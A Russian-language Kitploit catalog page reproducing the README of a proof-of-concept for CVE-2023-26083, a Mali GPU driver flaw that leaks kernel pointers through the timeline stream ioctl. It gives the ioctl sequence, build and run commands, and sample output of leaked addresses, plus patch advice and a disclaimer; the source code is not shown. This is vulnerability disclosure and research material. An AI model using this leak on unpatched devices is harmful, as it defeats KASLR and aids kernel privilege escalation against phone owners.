Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/noverisp3/cve-2023-26083
Vulnerability AnalysisExploitationInformation GatheringHardware & IoT SecurityLearning & EducationBinary Exploitation
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-26083 – Утечка адресов ядра GPU Mali через timeline stream

Этот репозиторий содержит proof-of-concept (PoC) эксплойт для CVE-2023-26083 — уязвимости в драйвере GPU Mali (Arm Mali GPU Kernel Driver), которая позволяет непривилегированному пользователю раскрывать указатели ядра и конфиденциальную внутреннюю информацию через timeline stream (/dev/mali0).

Обзор уязвимости

Драйвер GPU Mali предоставляет функцию «timeline stream» (tlstream) для профилирования и отладки. Этот поток экспортирует события, содержащие «сырые» указатели ядра (например, адреса kbase_context, kbase_gpu, kbase_lpu, адресных пространств, атомов и т.д.). В обычных условиях доступ к этому потоку должен требовать флаг BASE_CONTEXT_CREATE_FLAG_MONITOR. Однако из-за отсутствующей проверки прав в обработчике KBASE_IOCTL_TLSTREAM_ACQUIRE любой процесс (даже без флага монитора) может получить файловый дескриптор timeline stream и читать адреса памяти ядра.

Воздействие:

  • Утечка указателей ядра нейтрализует ASLR ядра (KASLR).
  • В сочетании с другими уязвимостями (например, use-after-free, произвольная запись) это может привести к повышению привилегий или произвольному выполнению кода в ядре.
  • Сама утечка раскрывает внутреннее состояние драйвера и может использоваться для снятия отпечатков (fingerprinting).

Затронутые версии

  • Версии Arm Mali GPU Kernel Driver до исправления CVE-2023-26083.

Сборка и запуск

Предварительные требования

  • Устройство с GPU Mali (например, Exynos, MediaTek, некоторые SoC Rockchip).
  • Права root не требуются — PoC работает от непривилегированного пользователя.
  • Ядро должно содержать драйвер Mali, встроенный или в виде модуля (должен существовать /dev/mali0).

Компиляция

Поскольку код является самодостаточным и автономным, вы можете легко кросс-компилировать его с помощью стандартных инструментов.

1. Для Android (рекомендуется)

Используйте тулчейн Android NDK для компиляции под устройства ARM64. Настоятельно рекомендуется использовать статическую компоновку, чтобы избежать проблем совместимости с динамическим компоновщиком на разных версиях Android:

root@kitploit:~
aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. Для ARM-устройств/плат с Linux

Если вы тестируете на ARM-плате разработчика (например, Raspberry Pi или Odroid) с GPU Mali и стандартным дистрибутивом Linux:

root@kitploit:~
gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

Запуск

root@kitploit:~
./mali_tlstream_leak

Программа выполнит следующие действия:

  1. Откроет /dev/mali0.
  2. Выполнит проверку версии.
  3. Установит флаги в BASE_CONTEXT_CREATE_FLAG_NONE (без привилегии монитора).
  4. Получит timeline stream (уязвимый ioctl).
  5. Будет читать пакеты timeline в течение нескольких секунд.
  6. Разберёт и отобразит утечки указателей ядра (отмечены как *** KERNEL).

Пример вывода

Примечание: Данный Proof-of-Concept (PoC) был протестирован только на Samsung Galaxy J7 Prime под управлением Android 8.1.0 (ядро 3.18) с уровнем безопасности от 1 апреля 2020 года.

root@kitploit:~
on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0

Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
  [NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
  [NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
  [NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
  [NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
  [NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
  [NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
  [NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
  [NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
  [NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
  [NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
  [NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
  [NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
  [LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
  [NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
  [NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
  [NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
  [NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
  [NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
  [NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
  [NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
  [NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
  [NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
  [NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
  [NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
  [NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
  [NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613

Как показано выше, PoC успешно раскрывает несколько адресов ядра:

  • Объекты LPU (Logic Processing Unit)
  • Объекты адресного пространства (AS)
  • Объект GPU
  • Объекты контекста (kbase_context)

Объяснение кода

Ключевые шаги:

  1. Открытие /dev/mali0 – стандартный интерфейс устройства Mali.
  2. KBASE_IOCTL_VERSION_CHECK – требуется для инициализации контекста драйвера.
  3. KBASE_IOCTL_SET_FLAGS – устанавливает create_flags в BASE_CONTEXT_CREATE_FLAG_NONE (без привилегии монитора).
    Обычно это должно блокировать доступ к tlstream, но ошибка позволяет обойти.
  4. KBASE_IOCTL_TLSTREAM_ACQUIRE – получает новый файловый дескриптор для timeline stream.
    Несмотря на отсутствие флага монитора, ioctl возвращает корректный fd.
  5. read() – читает «сырые» пакеты timeline.
  6. Парсер – декодирует заголовок пакета и сообщения событий timeline, извлекая указатели ядра.

Смягчение / Патч

Обновите ядро до версии, содержащей исправление CVE-2023-26083.
В качестве альтернативы, если вы производитель, примените патч от Arm или из стабильной ветки ядра Linux.

Отказ от ответственности

Этот код предоставлен только в образовательных целях и для исследований в области безопасности.
Использование этого эксплойта на системах без явного разрешения может нарушать действующее законодательство. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением. Используйте его только на устройствах, которыми вы владеете или на тестирование которых у вас есть письменное разрешение.

Ссылки

  • CVE-2023-26083
  • NIST NVD - CVE-2023-26083

Автор

Noveris

Скачать инструмент